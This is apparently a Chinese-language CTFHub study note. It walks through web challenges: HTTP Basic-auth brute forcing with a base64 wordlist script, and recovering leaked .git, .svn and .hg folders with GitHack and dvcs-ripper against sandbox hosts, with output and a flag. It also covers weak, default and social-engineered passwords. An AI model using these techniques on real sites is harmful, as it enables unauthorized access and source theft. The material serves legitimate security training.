一、基础知识
- CTF 简介
- 竞赛模式
- 比赛形式
- 题目类型
二、web 前置技能
1. HTTP 协议
-
请求方式
https://blog.csdn.net/qq_46222050/article/details/108159069
http://www.ruanyifeng.com/blog/2019/09/curl-reference.html
-
302 跳转
HTTP临时重定向
https://www.jianshu.com/p/e56d9f0a5c09
-
cookie
Cookie欺骗、认证、伪造
https://www.cnblogs.com/webconfig/p/3623343.html
-
基础认证
在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证
import base64 fp = open('pinjie.txt','w') with open("1000-top.txt", "r") as f: for line in f.readlines(): line = line.strip('\n') line = 'admin:'+line print (line) line1=base64.b64encode(line.encode('utf-8')) #print(str(line1,'utf-8')) fp.write(str(line1,'utf-8')+'\n')
burp 爆破
-
响应源代码
HTTP响应包源代码查看
2. 操作系统
3. 数据库
4. HTML/CSS
5. 程序语言
php、python、java
三、Web 工具配置
虚拟机、burpsuite、firefox/chrome、webshell、菜刀类工具( 蚁剑、菜刀、c刀 )、端口扫描 (nmap、httpscan、msf)、远程连接(ssh、rdp)、目录爆破(御剑、dirmap、burp 等等,取决于字典的强大)
四、信息泄露
1. 目录遍历
路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹之外的文件和目录。通过操纵带有“点-斜线(…)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。
apache 配置不当导致目录遍历,信息泄露。
import requests
if __name__ == '__main__':
url = 'http://challenge-32f4e7a6b43eb48c.sandbox.ctfhub.com:10080/flag_in_here'
for i in range(1,4):
for j in range(1,4):
new_url = url + '/' + str(i) + '/' + str(j)
print(new_url)
page_text = requests.get(new_url).text
if "flag.txt" in page_text:
print(new_url)
2. phpinfo()
phpinfo() 页面也是泄露信息的一种途径。
3. 备份文件下载
-
网站源码
当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
- 常见的网站源码备份文件后缀
- tar
- tar.gz
- zip
- rar
- 常见的网站源码备份文件名
- web
- website
- backup
- back
- www
- wwwrote
- temp
直接御剑扫描,
- 常见的网站源码备份文件后缀
-
bak 文件
当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
同样御剑扫描,但关键是字典。
-
vim 缓存
当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容。
以 index.php 为例:
第一次产生的交换文件名为
.index.php.swp
再次意外退出后,将会产生名为
.index.php.swo
的交换文件第三次产生的交换文件则为
.index.php.swn
-
.DS_Store
.DS_Store
是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。
直接 linux
cat
打开或者实用工具 https://github.com/gehaxelt/Python-dsstore
4. Git 泄露
-
log
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将
.git
文件夹直接部署到线上环境。这就引起了git泄露漏洞
。使用
githack
恢复。https://github.com/WangYihang/GitHacker
python2 GitHack.py http://challenge-2c6696d984cb9239.sandbox.ctfhub.com:10080/.git/
处理得到:
查看历史记录
git log
D:\ctf\GitHack-master\dist\challenge-2c6696d984cb9239.sandbox.ctfhub.com_10080>git log commit ea5a516f056ccb783834f9f98fa422b60a41c780 (HEAD -> master) Author: CTFHub <sandbox@ctfhub.com> Date: Fri Oct 23 15:11:17 2020 +0000 remove flag commit 3874ed3aca9e6ba2698716dbbaed7822e269301e Author: CTFHub <sandbox@ctfhub.com> Date: Fri Oct 23 15:11:17 2020 +0000 add flag commit f3c62ee6aa578cf6ce3ddb1c6e4eac7d739b2125 Author: CTFHub <sandbox@ctfhub.com> Date: Fri Oct 23 15:11:17 2020 +0000 init D:\ctf\GitHack-master\dist\challenge-2c6696d984cb9239.sandbox.ctfhub.com_10080>
当前所处版本为
remove flag
,flag 应该在add flag
这里。于
add flag
进行比对,3874ed3aca9e6ba2698716dbbaed7822e269301e
看到之前被删掉的 falg 了。
另一种方法:
直接切换到
add flag
版本。git reset --hard 3874ed3aca9e6ba2698716dbbaed7822e269301e
可以看到目录里可以看到了flag的文件。
-
stash
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
同样使用Githack工具处理git泄露情况。
git stash是git一个很有用的命令,它的作用是把当前未提交的修改暂存起来,让仓库还原到最后一次提交的状态。常用于更新、同步代码或者保存多个修改版本等情况下。
https://jingyan.baidu.com/article/49ad8bceacac6b5834d8fa9a.html
git stash # git stash命令会将仓库中的修改保存,建立一条stash信息,默认的说明信息是最后一次提交的节点号和提交说明。 git stash save #‘说明信息’与1的效果一样,说明信息是指定的内容,更加利于了解stash的内容。 git stash list #列出当前仓库下所有的stash条目,每一条stash用stash@{n}标识。 git stash pop [stash] # 将stash的内容弹出,默认弹出最上面的那条,即stash@{0}。此外还可以在pop后加stash@{n}来指定要弹出的stash条目。 git stash drop [stash] #丢弃stash条目,默认丢弃最上面的那条,即stash@{0},此外还可以在drop后加stash@{n}来指定要丢弃的stash条目。 git stash clear #清除所有的stash条目。 git show stash@{n} #当有多条记录并且过了一段时间忘记stash内容时通过该命令可以查看stash的具体内容
这里执行
git stash list git stash pop
就恢复了falg 文件
同样之前的方法也可以解题。
git log git diff .......
-
index
githack 恢复之后就在文件中。。。。
5. SVN 泄露
当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。
版本控制系统 集中式版本控制系统:Subversion(SVN)、CVS、VSS 等。 分布式版本控制系统:Git、Mercurial(Hg) 等。 具体区别比较可以看这个文章https://www.cnblogs.com/likebeta/archive/2012/12/18/2822805.html
使用 dvcs-ripper
https://github.com/kost/dvcs-ripper
- 安装:
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
- gitclone:
git clone https://github.com/kost/dvcs-ripper
- 进入目录
- 用
./rip-svn.pl -v -u http://challenge-fb13f9afd9ee3b28.sandbox.ctfhub.com:10080/.svn/
root@localhost:~/ctf/dvcs-ripper# ./rip-svn.pl -v -u http://challenge-ef41833848c08d6d.sandbox.ctfhub.com:10080/.svn/
[i] Found new SVN client storage format!
REP INFO => 1:file:///opt/svn/ctfhub:e43e7ef8-82fb-4194-9673-81c29de69c33
[i] Trying to revert the tree, if you get error, upgrade your SVN client!
已恢复“index.html”
root@localhost:~/ctf/dvcs-ripper# cat .svn/pristine/0c/0c5fb19b977dbe3945402427c5a732cb2d1d820a.svn-base
ctfhub{7db562e25eb73483a9d6e5aaa9265c8a01ce423f}
使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。 svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份.
6. HG泄露
当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
目录扫描有/.hg/
泄露
还是上一个脚本库里的 rip-hg.pl
#一定要加 -v 不然 down 不下来的
root@localhost:~/ctf/dvcs-ripper# ./rip-hg.pl -v -u http://challenge-1ccbdf6a8520678e.sandbox.ctfhub.com:10080/.hg/
[i] Downloading hg files from http://challenge-1ccbdf6a8520678e.sandbox.ctfhub.com:10080/.hg/
[i] Auto-detecting 404 as 200 with 3 requests
[i] Getting correct 404 responses
[d] found 00changelog.i
[d] found dirstate
[d] found requires
[!] Not found for branch: 404 Not Found
[!] Not found for branchheads.cache: 404 Not Found
[d] found last-message.txt
[!] Not found for tags.cache: 404 Not Found
[d] found undo.branch
[d] found undo.desc
[d] found undo.dirstate
[d] found store/00changelog.i
[!] Not found for store/00changelog.d: 404 Not Found
[d] found store/00manifest.i
[!] Not found for store/00manifest.d: 404 Not Found
[d] found store/fncache
[d] found store/undo
[!] Not found for .hgignore: 404 Not Found
[i] Running hg status to check for missing items
cannot find hg: No such file or directory at ./rip-hg.pl line 140.
执行过程有大量文件未找到,查看已旦拿到文件。
进入 store
目录·,查看 fncache
信息
root@localhost:~/ctf/dvcs-ripper/.hg# ls -a
. .. 00changelog.i dirstate last-message.txt requires store undo.branch undo.desc undo.dirstate
root@localhost:~/ctf/dvcs-ripper/.hg# cat store/fncache
data/index.html.i
data/50x.html.i
data/flag_32013795.txt.i
根据页面提示,手工查看得到 Flag.
http://challenge-1ccbdf6a8520678e.sandbox.ctfhub.com:10080/flag_32013795.txt
五、密码口令
1. 弱口令
通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令。
拿字典 burp 爆破即可。
2. 默认口令
常见设备默认口令.
然后根据题目里的设备,对应去找一下默认口令就可以.
3. 社会工程
根据信息收集,然后制作相关字典。
姓名、电话、qq等.